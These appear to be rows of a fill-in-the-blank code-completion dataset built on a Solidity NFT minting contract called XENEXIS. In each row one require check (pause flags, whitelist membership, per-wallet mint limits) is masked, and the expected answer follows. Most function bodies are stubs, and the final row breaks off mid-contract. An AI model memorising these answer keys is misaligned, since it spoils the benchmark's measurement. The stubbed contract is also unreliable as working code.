function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| !pausedForMaestro,"Minting for Maestro is paused!" | 499,002 | !pausedForMaestro |
"This account does not exist in whitelist" | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(!pausedForMaestro, "Minting for Maestro is paused!");
require(msg.value >= costForMaestro * _mintAmount, "Insufficient funds!");
require(<FILL_ME>)
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(mintCountForMaestro < maxMintCountForMaestro);
require(mintedForMaestro[msg.sender] < maxMintAmountForMaestroPerEach, "Already minted!");
supply.increment();
_safeMint(msg.sender, mintCountForMaestro.add(1));
mintCountForMaestro = mintCountForMaestro + 1;
mintedForMaestro[msg.sender] = mintedForMaestro[msg.sender].add(1);
}
}
function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| whitelistForMaestro[msg.sender],"This account does not exist in whitelist" | 499,002 | whitelistForMaestro[msg.sender] |
"Already minted!" | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(!pausedForMaestro, "Minting for Maestro is paused!");
require(msg.value >= costForMaestro * _mintAmount, "Insufficient funds!");
require(whitelistForMaestro[msg.sender], "This account does not exist in whitelist");
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(mintCountForMaestro < maxMintCountForMaestro);
require(<FILL_ME>)
supply.increment();
_safeMint(msg.sender, mintCountForMaestro.add(1));
mintCountForMaestro = mintCountForMaestro + 1;
mintedForMaestro[msg.sender] = mintedForMaestro[msg.sender].add(1);
}
}
function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| mintedForMaestro[msg.sender]<maxMintAmountForMaestroPerEach,"Already minted!" | 499,002 | mintedForMaestro[msg.sender]<maxMintAmountForMaestroPerEach |
"Minting for Maestro (Public Minitng) is paused!" | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(!pausedForMaestro, "Minting for Maestro is paused!");
require(<FILL_ME>)
require(msg.value >= costForMaestro * _mintAmount, "Insufficient funds!");
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(mintCountForMaestro < maxMintCountForMaestro);
require(mintedForMaestro[msg.sender] < maxMintAmountForMaestroPerEach, "Already minted!");
supply.increment();
_safeMint(msg.sender, mintCountForMaestro.add(1));
mintCountForMaestro = mintCountForMaestro + 1;
mintedForMaestro[msg.sender] = mintedForMaestro[msg.sender].add(1);
}
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| !pausedForMaestroPublicMinting,"Minting for Maestro (Public Minitng) is paused!" | 499,002 | !pausedForMaestroPublicMinting |
"Minting for Others is paused!" | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(<FILL_ME>)
require(msg.value >= costForOthers * _mintAmount, "Insufficient funds!");
require(whitelistForOthers[_collectionNumber][msg.sender], "This account does not exist in whitelist");
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(mintCountForOthers[_collectionNumber] < maxMintCountForOthers[_collectionNumber]);
require(mintedForOthers[_collectionNumber][msg.sender] < maxMintAmountForOthersPerEach, "Already minted!");
supply.increment();
_safeMint(msg.sender, firstNumberForOthers[_collectionNumber].add(mintCountForOthers[_collectionNumber]).add(1));
mintCountForOthers[_collectionNumber] = mintCountForOthers[_collectionNumber] + 1;
mintedForOthers[_collectionNumber][msg.sender] = mintedForOthers[_collectionNumber][msg.sender].add(1);
}
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| !pausedForOthers[_collectionNumber],"Minting for Others is paused!" | 499,002 | !pausedForOthers[_collectionNumber] |
"This account does not exist in whitelist" | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(!pausedForOthers[_collectionNumber], "Minting for Others is paused!");
require(msg.value >= costForOthers * _mintAmount, "Insufficient funds!");
require(<FILL_ME>)
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(mintCountForOthers[_collectionNumber] < maxMintCountForOthers[_collectionNumber]);
require(mintedForOthers[_collectionNumber][msg.sender] < maxMintAmountForOthersPerEach, "Already minted!");
supply.increment();
_safeMint(msg.sender, firstNumberForOthers[_collectionNumber].add(mintCountForOthers[_collectionNumber]).add(1));
mintCountForOthers[_collectionNumber] = mintCountForOthers[_collectionNumber] + 1;
mintedForOthers[_collectionNumber][msg.sender] = mintedForOthers[_collectionNumber][msg.sender].add(1);
}
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| whitelistForOthers[_collectionNumber][msg.sender],"This account does not exist in whitelist" | 499,002 | whitelistForOthers[_collectionNumber][msg.sender] |
null | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(!pausedForOthers[_collectionNumber], "Minting for Others is paused!");
require(msg.value >= costForOthers * _mintAmount, "Insufficient funds!");
require(whitelistForOthers[_collectionNumber][msg.sender], "This account does not exist in whitelist");
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(<FILL_ME>)
require(mintedForOthers[_collectionNumber][msg.sender] < maxMintAmountForOthersPerEach, "Already minted!");
supply.increment();
_safeMint(msg.sender, firstNumberForOthers[_collectionNumber].add(mintCountForOthers[_collectionNumber]).add(1));
mintCountForOthers[_collectionNumber] = mintCountForOthers[_collectionNumber] + 1;
mintedForOthers[_collectionNumber][msg.sender] = mintedForOthers[_collectionNumber][msg.sender].add(1);
}
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
function getMintedForMaestro(address _checkAddress) public view returns (uint256) {
}
function getMintedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (uint256) {
}
}
| mintCountForOthers[_collectionNumber]<maxMintCountForOthers[_collectionNumber] | 499,002 | mintCountForOthers[_collectionNumber]<maxMintCountForOthers[_collectionNumber] |
"Already minted!" | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
